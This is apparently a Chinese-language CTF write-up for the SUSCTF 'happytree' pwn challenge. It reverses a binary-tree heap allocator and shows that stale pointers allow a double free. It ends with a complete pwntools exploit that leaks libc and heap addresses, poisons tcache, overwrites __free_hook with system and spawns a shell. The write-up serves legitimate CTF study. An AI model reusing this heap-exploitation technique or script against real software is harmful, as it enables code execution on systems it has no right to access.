susctf pwn happytree復現
阿新 • • 發佈:2022-03-27
1.逆向分析
大概是一個二叉樹,通過data遞迴管理,管理堆沒有清空子樹指標,所以可以偽造堆塊造成double free
創造一個0x20的管理塊,分別寫入data大小,以及建立的資料堆塊的地址
然後通過data為索引進行管理,小size放左子樹,大size放在右子樹,遞迴呼叫
_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3) { _QWORD *v4; // [rsp+10h] [rbp-20h] _DWORD *v5; // [rsp+20h] [rbp-10h] v4 = a2; if ( !a2 )return 0LL; if ( (signed int)a3 >= *(_DWORD *)a2 ) { if ( (signed int)a3 <= *(_DWORD *)a2 ) { if ( a2[2] && a2[3] ) { v5 = (_DWORD *)dontknow(a1, a2[3]); *(_DWORD *)a2 = *v5; a2[3] = dele(a1, a2[3], (unsigned int)*v5); } else {if ( a2[2] ) { if ( !a2[3] ) v4 = (_QWORD *)a2[2]; } else { v4 = (_QWORD *)a2[3]; } operator delete((void *)a2[1], 1uLL); operator delete(a2, 0x20uLL); } } else { a2[3] = dele(a1, a2[3], a3); } }else { a2[2] = dele(a1, a2[2], a3); } return v4; }
dele的邏輯也差不多,遞迴呼叫刪除,就是當左右子樹同時存在的時候,有個函式,一開始沒看清楚就叫dontknow了
__int64 __fastcall sub_F72(__int64 a1, __int64 a2) { __int64 result; // rax __int64 v3; // [rsp+18h] [rbp-8h] result = a2; v3 = a2; if ( !a2 ) return 0LL; while ( v3 ) { if ( !*(_QWORD *)(v3 + 16) ) return v3; result = *(_QWORD *)(v3 + 16); v3 = result; } return result; }
那個dontknow函式,邏輯看的不是很清楚,當左右子樹都存在的時候會先看右子樹裡是否存在左子樹,似乎是先做了一個前向的遞迴?不過動調看來對題目影響不是很大
__int64 __fastcall show(__int64 a1, __int64 a2, int a3) { __int64 result; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // [rsp+28h] [rbp-8h] result = a2; v6 = a2; if ( a2 ) { while ( v6 ) { if ( a3 == *(_DWORD *)v6 ) { std::operator<<<std::char_traits<char>>(&std::cout, "content: "); v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8)); return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); } if ( a3 <= *(_DWORD *)v6 ) result = *(_QWORD *)(v6 + 16); else result = *(_QWORD *)(v6 + 24); v6 = result; } } else { v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find"); result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); } return result;
show函式,按照data索引輸出,沒啥好說的
2.利用
因為以前做的doublefree uaf啥的基本都是給edit掛進去直接改就行,所以這題一開始折騰半天沒想明白咋利用,最後就面向wp復現了
大概思路就是
1.發現堆塊裡面的資料free完以後再拿出來,裡面的指標沒有被清空,所以可以很輕易的洩露heap_base和libc
2.fake_fd,我們可以申請一個0x20的堆塊(管理塊同大),在寫入fake_fd(指向fake_chunk),然後free掉,這樣資料塊裡的指標就會保留下來並鏈入tcache,然後連續兩次add,第二次add的管理塊的左子樹就會殘留我們佈局好的fake_fd
3.構造fake_chunk,上一步我們構造好了指向fake_chunk位置的fake_fd,那麼下一步我們只需要在該處構造fake_chunk,將該處偽造成一個的管理塊,並且他的資料塊的指標指向當前堆內第一個tcache。
然後將我們剛剛偽造的fake_chunk free掉,即可完成doublefree
3.exp
from pwn import * p = process("./happytree") libc = ELF("libc-2.27.so") def add(data,content): p.recvuntil("cmd> ") p.sendline("1") p.recvuntil("data: ") p.sendline(str(data)) p.recvuntil("content: ") p.send(content) def free(data): p.sendlineafter('cmd>','2') p.sendlineafter('data:',str(data)) def show(data): p.sendlineafter('cmd>','3') p.sendlineafter('data:',str(data)) for i in range(8): add(0x80+i,b'A') for i in range(8): free(0x80+7-i) add(0x70,b'A'*8) show(0x70) p.recvuntil(b'A'*8) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x80-0x60-0x10-libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] sys = libc_base + libc.sym['system'] print(hex(libc_base)) free(0x70) add(0x20,b'\xb0') show(0x20) p.recvuntil("content: ") heap_base = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x120b0 print(hex(heap_base)) free(0x20) payload = p64(0)+p64(0)+p64(heap_base+0x11eb0)*2 add(0x20,payload) free(0x20) payload = b'/bin/sh\x00'+p64(0x31)+p64(0x20)+p64(heap_base+0x120b0) add(0x68,payload) add(0x40,b'\n') free(0x20) add(0x21,p64(free_hook)) add(0x22,p64(sys)) add(0x23,b'/bin/sh\x00') free(0x23) #gdb.attach(p) p.interactive()